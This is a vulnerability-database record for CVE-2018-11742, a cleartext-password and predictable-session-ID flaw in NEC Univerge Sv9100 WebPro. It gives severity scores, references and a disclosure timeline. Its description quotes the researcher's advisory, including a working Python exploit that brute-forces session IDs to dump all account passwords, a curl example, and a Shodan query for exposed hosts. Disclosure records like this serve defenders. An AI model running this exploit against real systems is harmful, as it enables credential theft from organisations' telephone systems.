ID

VAR-201812-0339


CVE

CVE-2018-11742


TITLE

NEC Univerge Sv9100 WebPro Vulnerabilities related to certificate and password management in devices

Trust: 0.8

sources: JVNDB: JVNDB-2018-014134

DESCRIPTION

NEC Univerge Sv9100 WebPro 6.00.00 devices have Cleartext Password Storage in the Web UI. NEC Univerge Sv9100 WebPro The device contains vulnerabilities related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. NEC Univerge Sv9100 WebPro is a communication system management tool of NEC Corporation of the United States. An attacker can exploit this vulnerability to obtain plaintext passwords. [+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt [+] ISR: ApparitionSec ***Greetz: indoushka | Eduardo B. 0day*** [Vendor] www.necam.com [Affected Product Code Base] NEC Univerge Sv9100 WebPro - 6.00.00 NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems. Public facing installations as of Dec 1, 2018 https://www.shodan.io/search?query=Server+Henry Result: 7,797 [Vulnerability Type(s)] [CVE Reference(s)] Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742 [Attack Vectors] Make repeated remote HTTP requests until arriving at a valid authenticated sessionId. Security Issue: ================ NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI. Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords. e.g.. curl http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8) Exploit/POC: ============= from socket import * import re #Univerge Sv9100 NEC WebPro : 6.00 #Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage #http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords. print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC" print "hyp3rlinx" IP=raw_input("[+] TARGET> ") res='' findme="Programming Password Setup" cnt=0 tmp=False tmp2=False pwned=False #check application is NEC and vuln version def is_NEC_webpro(u): global tmp,tmp2,cnt res='' cnt+=1 s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n') while True: res=s.recv(4048) if res.find('</html>')!=-1: break s.close() if re.findall(r"\bWebPro\b", res): tmp=True if tmp and cnt < 3: is_NEC_webpro('/Login.htm') if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res): tmp2 = True if tmp == True and tmp2 == True: return True return False def dump(acct): file=open('NEC-Accounts.txt', 'w') file.write(acct+'\n') file.close() def breach(sid): global pwned try: s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) sid=str(sid) print 'trying sessid '+sid s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n') except Exception as e: print str(e) while True: res = s.recv(4096) if res.find('</html>')!=-1: break if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session. dump(res) print res pwned=True s.close() return pwned def sessgen(): for sessid in range(1000,15000): ##test 14109 if breach(sessid): break if __name__=='__main__': if is_NEC_webpro('/'): sessgen() else: print 'Not NEC or version not vuln.' Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: May 15, 2018 No reply Vendor Notification: May 18, 2018 No reply Vendor Notification: June 4, 2018 No reply Mitre assign CVE: June 5, 2018 JPCERT replies: June 6, 2018 JPCERT shares information with NEC : June 7, 2018 Request status : August 11, 2018 JPCERT contact NEC : August 14, 2018 No reply from vendor Request status : August 21, 2018 JPCERT again contacts NEC : August 21, 2018 JPCERT "vendor working on a release" : August 23 2018 JPCERT "Vendor release October 2018" : September 12, 2018 NEC "Requests public disclosure after December 1st." : November 19, 2018 December 2, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Trust: 1.8

sources: NVD: CVE-2018-11742 // JVNDB: JVNDB-2018-014134 // VULHUB: VHN-121632 // PACKETSTORM: 150610

AFFECTED PRODUCTS

vendor:necmodel:univerge sv9100 webproscope:eqversion:6.00.00

Trust: 1.0

vendor:nec of americamodel:univerge sv9100 web proscope:eqversion:6.00.00

Trust: 0.8

sources: JVNDB: JVNDB-2018-014134 // NVD: CVE-2018-11742

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-11742
value: CRITICAL

Trust: 1.0

NVD: CVE-2018-11742
value: CRITICAL

Trust: 0.8

CNNVD: CNNVD-201812-063
value: CRITICAL

Trust: 0.6

VULHUB: VHN-121632
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2018-11742
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-121632
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2018-11742
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: CVE-2018-11742
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: VULHUB: VHN-121632 // JVNDB: JVNDB-2018-014134 // CNNVD: CNNVD-201812-063 // NVD: CVE-2018-11742

PROBLEMTYPE DATA

problemtype:CWE-522

Trust: 1.1

problemtype:CWE-255

Trust: 0.9

sources: VULHUB: VHN-121632 // JVNDB: JVNDB-2018-014134 // NVD: CVE-2018-11742

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201812-063

TYPE

trust management problem

Trust: 0.6

sources: CNNVD: CNNVD-201812-063

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-014134

PATCH

title:Top Pageurl:https://www.necam.com/

Trust: 0.8

title:NEC Univerge Sv9100 WebPro Security vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=87369

Trust: 0.6

sources: JVNDB: JVNDB-2018-014134 // CNNVD: CNNVD-201812-063

EXTERNAL IDS

db:PACKETSTORMid:150610

Trust: 2.6

db:NVDid:CVE-2018-11742

Trust: 2.6

db:EXPLOIT-DBid:45942

Trust: 1.7

db:JVNDBid:JVNDB-2018-014134

Trust: 0.8

db:CNNVDid:CNNVD-201812-063

Trust: 0.7

db:VULHUBid:VHN-121632

Trust: 0.1

sources: VULHUB: VHN-121632 // JVNDB: JVNDB-2018-014134 // PACKETSTORM: 150610 // CNNVD: CNNVD-201812-063 // NVD: CVE-2018-11742

REFERENCES

url:http://packetstormsecurity.com/files/150610/nec-univerge-sv9100-webpro-6.00.00-predictable-session-id-cleartext-passwords.html

Trust: 2.5

url:http://hyp3rlinx.altervista.org/advisories/nec-univerge-webpro-v6.00-predictable-sessionid-cleartext-passwords.txt

Trust: 1.8

url:https://www.exploit-db.com/exploits/45942/

Trust: 1.7

url:http://seclists.org/fulldisclosure/2018/dec/1

Trust: 1.7

url:https://nvd.nist.gov/vuln/detail/cve-2018-11742

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-11742

Trust: 0.8

url:https://www.shodan.io/search?query=server+henry

Trust: 0.1

url:http://nec-victim-ip/home.htm?sessionid=12959&goto(8)

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-11741

Trust: 0.1

url:http://target-ip/home.htm?sessionid=12959&goto(8)

Trust: 0.1

url:https://www.necam.com

Trust: 0.1

sources: VULHUB: VHN-121632 // JVNDB: JVNDB-2018-014134 // PACKETSTORM: 150610 // CNNVD: CNNVD-201812-063 // NVD: CVE-2018-11742

CREDITS

hyp3rlinx

Trust: 0.1

sources: PACKETSTORM: 150610

SOURCES

db:VULHUBid:VHN-121632
db:JVNDBid:JVNDB-2018-014134
db:PACKETSTORMid:150610
db:CNNVDid:CNNVD-201812-063
db:NVDid:CVE-2018-11742

LAST UPDATE DATE

2024-11-23T21:52:38.033000+00:00


SOURCES UPDATE DATE

db:VULHUBid:VHN-121632date:2020-08-24T00:00:00
db:JVNDBid:JVNDB-2018-014134date:2019-03-12T00:00:00
db:CNNVDid:CNNVD-201812-063date:2020-08-25T00:00:00
db:NVDid:CVE-2018-11742date:2024-11-21T03:43:56.707

SOURCES RELEASE DATE

db:VULHUBid:VHN-121632date:2018-12-26T00:00:00
db:JVNDBid:JVNDB-2018-014134date:2019-03-12T00:00:00
db:PACKETSTORMid:150610date:2018-12-04T05:02:24
db:CNNVDid:CNNVD-201812-063date:2018-12-04T00:00:00
db:NVDid:CVE-2018-11742date:2018-12-26T21:29:00.637